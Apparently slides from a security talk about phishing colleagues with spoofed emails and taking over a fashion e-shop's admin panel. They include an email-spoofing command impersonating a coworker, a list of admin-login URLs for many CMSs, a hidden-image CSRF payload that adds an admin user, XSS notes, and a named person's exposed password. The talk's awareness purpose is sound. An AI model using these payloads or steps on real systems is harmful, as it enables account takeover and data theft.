
Social engineering and hacking 
with a 70% success rate



Lovely 
Saturday 

Morning



Imagine your whole customer 
database just leaked.



GDPRGD
nightmare

Imagine your whole customer 
database just leaked.



Simple sending just 
one email.



HACKED

HACKED

HACKED

HACKED

HACKED

HACKED



Why am I doing this?



This is not 
a manual 
for hacking 
anyone



Stories
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Gain access to 
Facebook account



novak.twisto@seznam.cz



novak.twisto@seznam.cz



novak.twisto@seznam.cz



success rate 

70 % 
(17 people at the time)









You have been pwned! 

Your login is: 
lukas.hurych@twisto.cz  

Your password is: 
Brothersinarms89 

and it was sent to Mr. Hacker







Custom args



python	SimpleEmailSpoofer.py	
-e	email.html	
-t	'lukas.hurych@twisto.cz'	
-f	'michal.smida@twisto.cz'	
-n	'Michal	Šmída	via	LastPass'	
-s	'michal.smida@twisto.cz	Shared	With	You'	
--userid	18



No support for images in emails



10 people 
= 10 master passwords 
= 210 passwords to all their online services 
= 7 internet banking credentials 
= 10 credit cards



Colleague after the attack: 

“Wow, I thought that I am 
aware of all that stuff. 
Obviously I’m not, thanks 
for showing that to me!”





But you know the story.



pip install slackclient



Postgres
No need for fancy ORM



NLP with NLTK



Password requirements == Secure password?

8 characters long 
1 uppercase letter 
1 number or special symbol

✅

✅

✅



3	026	000	000	000	000	000



8 characters long 
1 uppercase letter 
1 number or special symbol

✅

✅

✅

weapon

Password requirements == Secure password?



8 characters long 
1 uppercase letter 
1 number or special symbol

✅

✅

✅

Weapon

Password requirements == Secure password?



8 characters long 
1 uppercase letter 
1 number or special symbol

✅

✅

✅

Weapon90

Password requirements == Secure password?



8 characters long 
1 uppercase letter 
1 number or special symbol

✅

✅

✅

Lastzzzz2			ULLLLLLLN	

Dotzz1234			ULLLLNNNN	

Fmzzzzz23			ULLLLLLNN	

Waszzz123			ULLLLLNNN	

Ownd2013!			ULLLNNNNS	

Hashes13!			ULLLLLNNS	

!Leak2013			SVLLLNNNN

80	000	000	000

Password requirements == Secure password?



What’s	the	best	method	
for	cryptanalysis?



Rubber-hose cryptanalysis



Fashion e-shop 
500M CZK in revenue



“Can I please mess 
play with your e-shop? 
Pretty please!”



“Sure but we take 
security pretty 

seriously!”

“Can I please mess 
play with your e-shop? 
Pretty please!”



1 day later   
 



1 day later I had admin 
access to everything



Step by step guide: e-shop hacking

0	Let’s find admin panel URL



#1	WordPress	wp-admin	or	wp-login.php	
#2	Joomla	/administrator/	
#3	Drupal	/admin/	
#4	Magento	/index.php/admin/	
#5	vBulletin	/admincp/	
#6	Generic	/login	
#7	osCommerce		/admin	
#8	Opencart	/admin	
#9	ZenCart	/zcadmin	
#10	AbanteCart	/index.php?s=admin123	
#11	PrestaShop	/admin123	
#12	phpBB	/adm	
#13	SMF	/index.php?action=admin	
#14	Contao	/contao/index.php	
#15	Zenario	/zenario/admin/	
#16	litecart	/admin	
#17	CubeCart	/admin	
#18	Shopware	/backend/	
#19	Open	Blog	/index.php/user/login	
#20	Serendipity	/serendipity_admin.php	
#21	Dotclear	/admin/	
#22	b2evolution	/admin.php	
#23	Textpattern	/textpattern/index.php	
#24	Pixie	/admin/	
#25	Nucleus	/nucleus/	
#26	Chyrp	/?action=login	
#27	Sharetronix	/home	
#28	Storytlr	/admin	
#29	CMS	Made	Simple	/admin/login.php	
#30	PyroCMS		/admin/login



Step by step guide: e-shop hacking

Disallow:	/cms
0	Let’s find admin panel URL

Disallow:	/_test/cms



Step by step guide: e-shop hacking

0	Let’s find admin panel URL 

1	Register for e-shop platform demo



Step by step guide: e-shop hacking

0	Let’s find admin panel URL 

1	Register for e-shop platform demo

Say hello to CSRF



<img	src=“https://
madeupfashionstore.cz	
/admin/index.php?action=adduser	
&email=me@lukashurych.cz	
&password=PwnedYA	
&admin=TRUE”	
width=“0”	height=“0”>



Step by step guide: e-shop hacking

0	Let’s find admin panel URL 

1	Register for e-shop platform demo 

2	Phishing e-mail – recon and execution



Login: TEST 
Password: TEST



Login: TEST 
Password: TEST ✅



Step by step guide: e-shop hacking

0	Let’s find admin panel URL 

1	Register for e-shop platform demo 

2	Update article – the only feature :-(



Step by step guide: e-shop hacking

0	Let’s find admin panel URL 

1	Register for e-shop platform demo 

2	Update article – the only feature :-(

Not HTTP onlyWYSIWYG Hi XSS





🤯



Looks like it but it’s not 2 factor authentication

USB keyboard



My video



Workflow
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my secret workflow



My secret workflow



My secret workflow



My secret workflow



My secret workflow



Yup. That’s it. 

Your attacker doesn’t have to be 
sophisticated hard-core hacker.

My secret workflow



WHy is Python my language of choice
Python	
Syntax 
Simple setup and deployment 

Libraries 
PIP & virtualenv 
System utilities (stdlib) 
Requests, BeautifulSoup, Celery



Python is versatile
Web	apps	
Django & Flask ❤ 

Automation	&	Scraping	
Requests 
Celery 
BeautifulSoup

Data	science	stuff 
Jupyter (internal audit) 
Pandas 
NumPy 
Matplotlib





Anatomy of an attack
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0	Start at the end 

1	Recon 

2	Right tools 

3	Development + testing 

4	Execute + learn live + update

Anatomy of an attack



Ultimate goal

18 % 19 %

26 %

37 %

43 %

January February March April May

12 95012 90012 75012 80012 700

Conversion rate (registration)

Website visitors



Ultimate UX



Hacker’s mindset
Tech Marketing

UX



End of story
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Hackers nowadays are not like 
from movies 10 years ago



0) Common sense 
1) Better safe than sorry   /   Educate your colleagues 
2) Just once, you have to be right all the time 
3) Have fun 
4) Deliver 100 % UX (and use it for good)



It’s not just about secure code. It’s about people.

Try it yourself. Help them.



Thanks
lukas@twisto.cz

for your attention

mailto:lukas@twisto.cz


Can we chit chat?

lukas@twisto.cz

mailto:lukas@twisto.cz

